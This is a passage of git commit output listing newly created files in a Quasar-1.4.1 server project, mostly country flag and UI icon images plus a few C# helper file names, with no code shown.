100755 Quasar-1.4.1/Quasar.Server/Helper/CertificateHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Helper/ClientDataManager.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Helper/ClipboardHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Helper/NativeMethodsHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Helper/WindowHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ad.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ae.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/af.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ag.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ai.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/al.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/am.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/an.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ao.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ar.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/as.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/at.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/au.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/aw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ax.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/az.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ba.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bb.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/be.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bi.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bj.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/br.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bs.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bt.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bv.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/by.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/bz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ca.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/catalonia.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cc.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ch.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ci.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ck.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cl.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/co.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cs.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cu.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cv.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cx.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/cz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/de.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/dj.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/dk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/dm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/do.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/dz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ec.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ee.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/eg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/eh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/england.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/er.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/es.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/et.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/europeanunion.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/fam.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/fi.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/fj.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/fk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/fm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/fo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/fr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ga.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gb.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ge.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gi.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gl.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gp.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gq.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gs.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gt.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gu.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/gy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/hk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/hm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/hn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/hr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ht.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/hu.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/id.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ie.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/il.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/in.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/io.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/iq.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ir.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/is.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/it.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/jm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/jo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/jp.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ke.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/kg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/kh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ki.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/km.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/kn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/kp.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/kr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/kw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ky.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/kz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/la.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/lb.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/lc.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/li.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/lk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/lr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ls.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/lt.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/lu.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/lv.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ly.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ma.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mc.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/md.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/me.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ml.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mp.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mq.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ms.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mt.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mu.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mv.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mx.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/my.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/mz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/na.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/nc.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ne.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/nf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ng.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ni.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/nl.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/no.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/np.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/nr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/nu.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/nz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/om.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pa.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pe.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ph.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pl.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ps.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pt.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/pw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/py.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/qa.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/re.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ro.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/rs.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ru.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/rw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sa.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sb.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sc.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/scotland.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/se.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/si.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sj.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sl.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/so.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/st.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sv.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/sz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tc.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/td.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/th.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tj.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tl.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/to.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tr.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tt.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tv.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/tz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ua.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ug.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/um.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/us.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/uy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/uz.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/va.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/vc.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ve.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/vg.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/vi.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/vn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/vu.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/wales.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/wf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ws.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/xy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/ye.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/yt.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/za.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/zm.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Flags/zw.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.ico create mode 100755 Quasar-1.4.1/Quasar.Server/Images/Icons/Quasar_Server.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/accept.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/actions.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/application.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/application_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/application_cascade.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/application_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/application_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/application_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/archive.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/arrow_down.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/arrow_redo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/arrow_refresh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/arrow_undo.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/arrow_up.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/back.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/basket.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/bell.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/book.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/book_open.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/box.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/brick.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/bricks.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/briefcase.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/broom.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/bug.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/building.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/calendar.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/camera.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/cancel.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/car.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/cart.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/cd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/chart_bar.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/chart_line.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/chart_pie.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/clock.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/cog.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/coins.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/comment.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/computer.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/connect.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/control_fastforward.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/control_pause.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/control_play.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/control_rewind.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/control_stop.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/creditcards.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/cross.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/database.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/database_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/date.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/disconnect.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/disk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/disk_multiple.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/done.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/drive_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/dvd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/email.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/email_open.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/error_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/error_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/exclamation.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/eye.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/file.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/film.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/find.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/flag_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/folder.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/folder_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/group.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/group_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/help.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/hourglass.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/house.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/image.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/image_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/image_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/information.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/key_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/keyboard.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/keyboard_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/keyboard_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/keyboard_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/lightbulb.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/lightbulb_off.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/lock.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/lock_open.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/magnifier.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/monitor.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/monitoring.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/mouse_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/mouse_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/movie.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/music.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/new.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/note.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/note_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/note_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/package.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/package_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/package_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/package_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/page_copy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/page_white_text.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/pdf.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/pencil.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/pencil_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/pencil_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/phone.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/picture.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/picture_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/picture_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/printer.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/printer_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/refresh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/reg_binary.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/reg_string.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/registry.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/report.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/report_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/report_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/restart.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/save.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/server.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/server_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/server_connect.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/server_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/server_disconnect.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/server_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/server_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/settings.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/shield.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/shutdown.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/sound.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/standby.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/star.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/status_away.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/status_busy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/status_offline.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/status_online.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/stop.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/table.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/table_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/table_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/tag.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/tag_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/tag_green.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/tag_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/terminal.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/text.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/textfield_rename.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/tick.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/time.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/transmit_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/uac_shield.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/user.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/user_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Images/user_delete.png create mode 100755 